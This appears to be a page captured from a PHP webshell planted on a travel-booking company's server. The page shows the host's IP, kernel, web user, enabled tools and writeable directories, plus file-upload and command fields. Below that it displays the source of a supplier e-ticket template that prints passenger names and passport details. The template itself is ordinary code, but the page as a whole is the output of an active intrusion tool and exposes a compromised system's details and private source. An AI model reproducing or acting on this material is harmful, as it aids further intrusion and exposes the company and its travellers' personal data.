403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2c.hellogtx.com/application/views/scripts/flight/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2c.hellogtx.com/application/views/scripts/flight/e-ticket-supplier.phtml
<?php
$baseUrl = $this->baseUrl;
$FlightBooking = $this->FlightBooking;
$FlightBookingInb = $this->FlightBookingInb;

$getAgencyData = $this->getAgencyData;
$arrAgencyUserDetail = $this->arrAgencyUserDetail;
$object = Zend_Controller_Front::getInstance();
$options = $object->getParam('bootstrap')->getOption('bootstrap');
$stylecss = $options['stylecss'];
$AgencySysId = $getAgencyData['AgencySysId'];
$API_Response = json_decode($FlightBooking['data']['API_Response'], true);
$API_ResponseInb = json_decode($FlightBookingInb['data']['API_Response'], true);
$API_Response_Ticket = json_decode($FlightBooking['data']['API_Response_Ticket'], true);
if (!empty($FlightBookingInb['data']['API_Response_Ticket'])) {
    $API_Response_TicketInb = json_decode($FlightBookingInb['data']['API_Response_Ticket'], true);
}
$ARR_SALUTION_TJ = unserialize(ARR_SALUTION);
$FareClass = $API_Response['FairRules']['FareClass'];
$IsRefundableTxt = $API_Response['IsRefundableTxt'];
$IsRefundableTxtInb = $API_ResponseInb['IsRefundableTxt'];
$FareClassInb = $API_ResponseInb['FairRules']['FareClass'];
$Segments = $API_Response['Segments'];
$SegmentsInb = $API_ResponseInb['Segments'];
$status = $API_Response_Ticket['order']['status'];
$tripInfos = $API_Response_Ticket['itemInfos']['AIR']['tripInfos'];
$travellerInfos = $API_Response_Ticket['itemInfos']['AIR']['travellerInfos'];
$PNR_Number = array_unique(explode('-', $FlightBooking['data']['PNR_Number']));
$PNR_Number = implode(',', $PNR_Number);
$passenger = $FlightBooking['passenger'];
$BookingId = $FlightBooking['data']['BookingId'];
$ICSourceSysId = $FlightBooking['data']['ICSourceSysId'];
$ResponseStatusonward = $FlightBooking['data']['status'];
$ARR_SALUTION = unserialize(ARR_SALUTION);
$ARR_SALUTION_CHILD = unserialize(ARR_SALUTION_CHILD);
$SegmentsApi = [];
$SegmentsApiInb = [];
if ($ICSourceSysId == 3) {
    $travellerInfos = $API_Response_Ticket['Response']['Response']['FlightItinerary']['Passenger'];
    $SegmentsApi = $API_Response_Ticket['Response']['Response']['FlightItinerary']['Segments'];
    $SegmentsApiInb = isset($API_Response_TicketInb['Response']['Response']['FlightItinerary']['Segments']) ? $API_Response_TicketInb['Response']['Response']['FlightItinerary']['Segments'] : [];
    if ($ResponseStatusonward == 1) {
        $status = 'Confirmed';
    } else {
        $status = 'Pending';
    }
    if ($ResponseStatusreturn == 1) {
        $statusInb = 'Confirmed';
    } else {
        $statusInb = 'Pending';
    }
    $ARR_SALUTION = unserialize(ARR_SALUTIONTBO);
    $ARR_SALUTION_CHILD = unserialize(ARR_SALUTIONTBO);
}
$Currency = $FlightBooking['data']['Currency'];

$intNetPublishedFare = 0;
$AdditionalTxnFeePub = 0;
$TotalBaseFare = 0;
$AdditionalTxnFeePubR = 0;
$TotalTaxsandFees = 0;
$TotalServiceFee = 0;
$TotalGST = 0;

$FlightBookingData[0] = $API_Response;
if ($API_ResponseInb) {
    $FlightBookingData[1] = $API_ResponseInb;
}
$pnrDetails = [];
if ($FlightBookingData) {
    foreach ($FlightBookingData as $Data) {
        $SourceAirportCode = $Data['SourceAirportCode'];
        $DestAirportCode = $Data['DestAirportCode'];
        $ICSourceSysId = $Data['ICSourceSysId'];
        //$PNR_Number = $Data['PNR_Number'];
        $pnrDetails[$SourceAirportCode . '-' . $DestAirportCode] = $PNR_Number;
        $intNetPublishedFare += $Data['FairRules']['PublishedFare'];
        if ($Data['FairRules']['FareBreakdown']) {
            foreach ($Data['FairRules']['FareBreakdown'] as $value) {
                // if($AgencySysId == '10251'){
                //     echo '<pre>';print_r($value);
                // }

                $MF = $value['MF'];
                $TDS = $value['TDS'];
                $YQ = $value['YQ'];
                $AGST = $value['AGST'];
                $MFT = $value['MFT'];
                $OT = $value['OT'];
                $MU = $value['MU'];
                $YR = $value['YR'];
                $other = $MF + $TDS + $YQ + $AGST + $MFT + $OT + $YR;
                $PBaseFare = $value['BaseFare'];
                $CommisionPass = $value['CommisionPass'];
                $ServiceFee = $value['ServiceFee'];

                $FixedMarkUp = $value['FixedMarkUp'];
                $GSTOnMarkUp = $value['GSTOnMarkUp'];
                $apiMarkup = $value['apiMarkup'];
                $paxPublishedFare = ($PBaseFare);
                $PassengerType = $value['PassengerType'];
                $PassengerCount = $value['PassengerCount'];
                $AdditionalTxnFeePub += $value['AdditionalTxnFeePub'];
                $TotalBaseFare += $paxPublishedFare;
                $TotalServiceFee += ($FixedMarkUp);
                if($ICSourceSysId != 3){
                    $TotalGST += ($GSTOnMarkUp);
                    $TotalTaxsandFees += ($MF + $YQ + $AGST + $MFT + $OT + $MU + $YR);
                }else{
                    $TotalGST += ($GSTOnMarkUp);
                    $TotalTaxsandFees += ($MF + $YQ + $AGST + $MFT + $OT + $MU + $YR - $CommisionPass);
                }
                
                
            }
        }
    }
}

$IsCancellationProtection = isset($FlightBooking['data']['IsCancellationProtection']) ? $FlightBooking['data']['IsCancellationProtection'] : 0;
$CancellationProtectionPrice = isset($FlightBooking['data']['CancellationProtectionPrice']) ? $FlightBooking['data']['CancellationProtectionPrice'] : 0;
$TPSysId = isset($FlightBooking['data']['TPSysId']) ? $FlightBooking['data']['TPSysId'] : 0;
$couponApply = isset($FlightBooking['data']['couponApply']) ? $FlightBooking['data']['couponApply'] : 0;
if($couponApply){
    $couponVal = isset($FlightBooking['data']['couponVal']) ? $FlightBooking['data']['couponVal'] : 0;
}else{
    $couponVal = 0;
}


//echo"<pre>"; print_r($travellerInfos);echo '</pre>';
// echo "<pre>";
// print_r($FlightBookingData);
// echo '</pre>';

$travellerInfosarr  = [];
if ($travellerInfos && $ICSourceSysId == 3) {
    foreach ($travellerInfos as $key => $value) {
        $travellerInfos[$key] = $value;
        $travellerInfos[$key]['pnrDetails'] = $pnrDetails;
        //$travellerInfos[$key]['ticketNumberDetails'] = $value['Ticket']['TicketId'];
    }
}

$getAgencySupplierUserData = $this->getAgencySupplierUserData;
//echo "<pre>";print_r($SegmentsArr);die;

?>
<!DOCTYPE html>
<html>

<head lang="en">
    <meta charset="UTF-8">
    <title>E-Ticket</title>
    <link rel="icon" type="image/png" sizes="32x32" href="<?php echo $baseUrl; ?>public/upload/<?php echo $gtxagencysysid;?>/images/favicon-icon.png" />
    <link href="https://fonts.googleapis.com/css?family=Lato&display=swap" rel="stylesheet">
</head>

<style>
    .block {
        display: block;
    }

    body {
        font-family: 'Roboto', sans-serif;
    }

    body {
        -webkit-print-color-adjust: exact !important;
        color-adjust: exact !important;
    }

    @media print {
        #button-container {
            display: none;
        }
    }
</style>

<body>
     

    <table width="900px" border="0" cellspacing="0" cellpadding="0" align="center" style="position: relative;background: #ffffff;border-top: 3px solid #d2d6de;padding:15px;
    margin-bottom: 20px;box-shadow: 0 1px 1px rgb(0 0 0 / 10%);border: 1px solid #d7d7d7;line-height:20px;">
        
        <tr>
            <td colspan="3" align="center" valign="top">
            <span style="line-height: 40px; "><img src="<?= $baseUrl ?>public/upload/<?php echo $stylecss ?>/images/logo_email.png"></span>
            </td>
        </tr>
        <tr>
            <td colspan="3" align="right" valign="top">
                <span style="padding:10px 0 0 0;display: block;color: #000; font-weight: 400; text-align: left; font-size:14px; font-family: Roboto, sans-serif;">Dear <?php echo trim($getAgencySupplierUserData['SupplierName']);?>,</span>  <br>
                <span style="display: block;color: #444; font-weight: 400; text-align: left; font-size:14px; font-family: Roboto, sans-serif;">
                    
                    Your below ticket is sold on our portal. You are requested to block the inventory as per below information and <span style="color:red;">share the PNR</span> on priority or update the same in the login: 
                </span>  
            </td>
        </tr>
        <tr><td>&nbsp;</td></tr>
        <tr>
            <td colspan="3" align="left" valign="top">

                <table width="100%"  bordercolor="#d7d7d7" cellspacing="0" cellpadding="0" style="padding:0px;border:1px solid #000;">
                    <tr >
                        <td align="left" valign="center" width="20%" style="padding: 8px 12px;">
                            <div style="color: #000; font-size: 13px;display: block; padding:3px 0px;">Reference Number </div>
                        </td>
                        <td align="left" valign="center" width="20%" style="padding: 8px 12px;border-left: 1px solid #000;">
                            <div style="color: #000; font-size: 13px;display: block; padding:3px 0px;"><?php echo $FlightBooking['data']['BookingId'] ?> </div>
                        </td>

                    </tr>
                    <tr>
                        <td align="left" valign="center" width="20%" style="padding: 8px 12px;border-top: 1px solid #000;">
                            <div style="color: #000; font-size: 13px;display: block; padding:3px 0px;">Inventory Name  </div>
                        </td>
                        <td align="left" valign="center" width="20%" style="padding: 8px 12px;border-top: 1px solid #000;border-left: 1px solid #000;">
                            <div style="color: #000; font-size: 13px;display: block; padding:3px 0px;">
                            <?php foreach($Segments as $key => $value){ 
                                    echo ($key>0) ? ',<br>' : '';
                                    echo $value['originAirportCode'].'-'.$value['destinationAirportCode'];
                                }
                            ?>
                            </div>
                        </td>

                    </tr>
                    <tr>
                        <td align="left" valign="center" width="20%" style="padding: 8px 12px;border-top: 1px solid #000;">
                            <div style="color: #000; font-size: 13px;display: block; padding:3px 0px;">Supplier Name   </div>
                        </td>
                        <td align="left" valign="center" width="20%" style="padding: 8px 12px;border-top: 1px solid #000;border-left: 1px solid #000;">
                            <div style="color: #000; font-size: 13px;display: block; padding:3px 0px;">
                                <?php echo trim($getAgencySupplierUserData['CompanyName']);?>
                                <br><?php echo trim($getAgencySupplierUserData['ContactNo']);?>
                            </div>
                        </td>

                    </tr>
                    <tr>
                        <td align="left" valign="center" width="20%" style="padding: 8px 12px;border-top: 1px solid #000;">
                            <div style="color: #000; font-size: 13px;display: block; padding:3px 0px;">Date of Travel  </div>
                        </td>
                        <td align="left" valign="center" width="20%" style="padding: 8px 12px;border-top: 1px solid #000;border-left: 1px solid #000;">
                            <div style="color: #000; font-size: 13px;display: block; padding:3px 0px;">
                            <?php foreach($Segments as $key => $value){ 
                                    echo ($key>0) ? ',<br>' : '';
                                    echo date('d/m/Y',strtotime($value['originDepTime']));
                                }
                            ?>
                            </div>
                        </td>

                    </tr>
                    <tr>
                        <td align="left" valign="center" width="20%" style="padding: 8px 12px;border-top: 1px solid #000;">
                            <div style="color: #000; font-size: 13px;display: block; padding:3px 0px;">Date of Booking   </div>
                        </td>
                        <td align="left" valign="center" width="20%" style="padding: 8px 12px;border-top: 1px solid #000;border-left: 1px solid #000;">
                            <div style="color: #000; font-size: 13px;display: block; padding:3px 0px;"><?= date('d-m-Y H:s:i', strtotime($this->created_at)) ?></div>
                        </td>

                    </tr>
                    <tr>
                        <td align="left" valign="center" width="20%" style="padding: 8px 12px;border-top: 1px solid #000;">
                            <div style="color: #000; font-size: 13px;display: block; padding:3px 0px;">Flight Details </div>
                        </td>
                        <td align="left" valign="center" width="20%" style="padding: 8px 12px;border-top: 1px solid #000;border-left: 1px solid #000;">
                            <div style="color: #000; font-size: 13px;display: block; padding:3px 0px;">
                                <?php foreach($Segments as $key => $value){ 
                                        echo ($key>0) ? ',<br>' : '';
                                        echo $value['SegFlightNumber'].' ('.$value['AirlineName'].')<br>';
                                        echo 'Departs: '.$value['originAirportCode'].' at '.$value['strDepartureDtTime'].'<br>';
                                        echo 'Arrives: '.$value['destinationAirportCode'].' at '.$value['strArrivalDtTime'];
                                         
                                    }
                                ?></div>
                        </td>

                    </tr>
                    <?php if($FlightBookingData[0]['IsInternational'] != 1){ ?>
                        <tr>
                            <td align="left" valign="center" width="20%" style="padding: 8px 12px;border-top: 1px solid #000;">
                                <div style="color: #000; font-size: 13px;display: block; padding:3px 0px;">Passenger Names  </div>
                            </td>
                            <td align="left" valign="center" width="20%" style="padding: 8px 12px;border-top: 1px solid #000;border-left: 1px solid #000;">
                                <div style="color: #000; font-size: 13px;display: block; padding:3px 0px;">
                                    <?php 
                                        foreach ($passenger as $k => $value) {
                                            if ($value['paxType'] == 1) {
                                                $paxdetail = 'ADULT';
                                                $Salutation = $ARR_SALUTION[$value['Salutation']];
                                            } elseif ($value['paxType'] == 2) {
                                                $paxdetail = 'CHILD';
                                                $Salutation = $ARR_SALUTION_CHILD[$value['Salutation']];
                                            } else {
                                                $paxdetail = 'INFANT';
                                                $Salutation = $ARR_SALUTION_CHILD[$value['Salutation']];
                                            }
                                            
                                            echo $Salutation.' '.$value['FirstName'].' '.$value['LastName'].'('.$paxdetail.')';
                                        }
                                    ?>
                                </div>
                            </td>

                        </tr>
                    <?php } ?>
                    <tr>
                        <td align="left" valign="center" width="20%" style="padding: 8px 12px;border-top: 1px solid #000;">
                            <div style="color: #000; font-size: 13px;display: block; padding:3px 0px;">Airline PNR  </div>
                        </td>
                        <td align="left" valign="center" width="20%" style="padding: 8px 12px;border-top: 1px solid #000;border-left: 1px solid #000;">
                            <div style="color: #000; font-size: 13px;display: block; padding:3px 0px;"><?php echo $FlightBooking['data']['PNR_Number'] ?></div>
                        </td>

                    </tr>
                    <tr>
                        <td align="left" valign="center" width="20%" style="padding: 8px 12px;border-top: 1px solid #000;">
                            <div style="color: #000; font-size: 13px;display: block; padding:3px 0px;">Cost to <Orgoto>  </div>
                        </td>
                        <td align="left" valign="center" width="20%" style="padding: 8px 12px;border-top: 1px solid #000;border-left: 1px solid #000;">
                            <div style="color: #000; font-size: 13px;display: block; padding:3px 0px;"> <?= $Currency ?> <?= number_format(ceil($TotalBaseFare + $TotalTaxsandFees + $TotalServiceFee + $TotalGST + $MealFare + $BaggFare + $SeatFare + $CancellationProtectionPrice - $couponVal), 2) ?></div>
                        </td>

                    </tr>
                    <tr><td>&nbsp;</td></tr>
                    
                </table>
            </td>
        </tr>
        <br>
       <?php if($FlightBookingData[0]['IsInternational'] == 1 && $FlightBookingData[0]['ICSourceSysId'] == 8){ ?>
        <tr>
            <td colspan="3" align="left" valign="top">

                <table width="100%"  bordercolor="#d7d7d7" cellspacing="0" cellpadding="0" style="padding:0px;border:1px solid #000;">
                    <tr><th>Passenger Name</th><th> Details</th></tr>
                    
                        <?php 
                            foreach ($passenger as $k => $value) {
                                if ($value['paxType'] == 1) {
                                    $paxdetail = 'ADULT';
                                } elseif ($value['paxType'] == 2) {
                                    $paxdetail = 'CHILD';
                                } else {
                                    $paxdetail = 'INFANT';
                                }
                                $ARR_SALUTION_TJ_ = $ARR_SALUTION_CHILD;
                                if ($value['paxType'] == 1) {
                                    $ARR_SALUTION_TJ_ = $ARR_SALUTION_TJ;
                                }
                        ?>
                        <tr>
                        <td align="left" valign="center" width="20%" style="padding: 8px 12px;border-top: 1px solid #000;border-left: 1px solid #000;">
                            
                                    <?php echo $ARR_SALUTION_TJ_[$value['Salutation']].' '.$value['FirstName'].' '.$value['LastName'].'('.$paxdetail.')';
                                    
                                ?>
                        </td>
                        <td align="left" valign="center" width="20%" style="padding: 8px 12px;border-top: 1px solid #000;border-left: 1px solid #000;">
                            <?php 
                            if($value['paxType'] == 3){?>
                                 <?= '<b>Date Of Birth : </b> '.date('d-m-Y ', strtotime($value['DOB'])).'<br>'?>
                            <?php } ?>
                            <?='<b> Passport No : </b> '.$value['PassportNo'].'<br>'
                           .'<b> Nationality : </b> '.$value['PassportNation'].'<br>'
                            .'<b>Passport Issue date : </b> '.date('d-m-Y ', strtotime($value['passporIssue'])).
                            '<br><b>Passport Expiry date : </b> '.date('d-m-Y ', strtotime($value['PassportExpiry']));?>
                </td>
                    </tr>
                      <?php  } ?>
                    <tr><td>&nbsp;</td></tr>
                    
                </table>
            </td>
        </tr>
        <?php } ?>
        <tr>
            <td colspan="3" align="right" valign="top">
                 <span style="padding:10px 0 0 0;display: block;color: #000; font-weight: 400; text-align: left; font-size:14px; font-family: Roboto, sans-serif;">
                     For any further assistance, please contact us at <a href="tel:<?= $getAgencyData['countrycode'] ?><?= $getAgencyData['PrimaryMobileNo'] ?>"><?= $getAgencyData['countrycode'] ?><?= $getAgencyData['PrimaryMobileNo'] ?></a> or send an email to <a href="mailto:<?= $getAgencyData['PrimaryEmail'] ?>"><?= $getAgencyData['PrimaryEmail'] ?></a>
                </span>  
            </td>
        </tr>
        <tr>
            <td colspan="3" align="right" valign="top">
                 <span style="padding:10px 0 0 0;display: block;color: #000; font-weight: 400; text-align: left; font-size:14px; font-family: Roboto, sans-serif;">
                    Thanks & Regards, <br>
                    Team <?php echo $getAgencyData['Title'] ?><br>
                    <?php echo $getAgencyData['PrimaryEmail'] ?><br>
                    <?php echo $getAgencyData['countrycode'] ?><?= $getAgencyData['PrimaryMobileNo'] ?> 
                    
                </span> 
                
            </td>
        </tr>
        <tr>
            <td colspan="3" align="right" valign="top">
                 <span style="padding:10px 0 0 0;display: block;color: #000; font-weight: 600; text-align: center; font-size:14px; font-family: Roboto, sans-serif;">
                    Note: This is an auto generated email, please do not reply
                </span>  
            </td>
        </tr>

    </table>
    <script type="text/javascript">
        function printDiv() {
            document.getElementById('printDiv').style.display = "none";
            window.print();
            document.body.innerHTML = printContents;
            document.body.innerHTML = originalContents;
        }
        window.onafterprint = function() {
            document.getElementById('printDiv').style.display = "block";
            //window.close();
        }
    </script>
</body>

</html>

Youez - 2016 - github.com/yon3zu
LinuXploit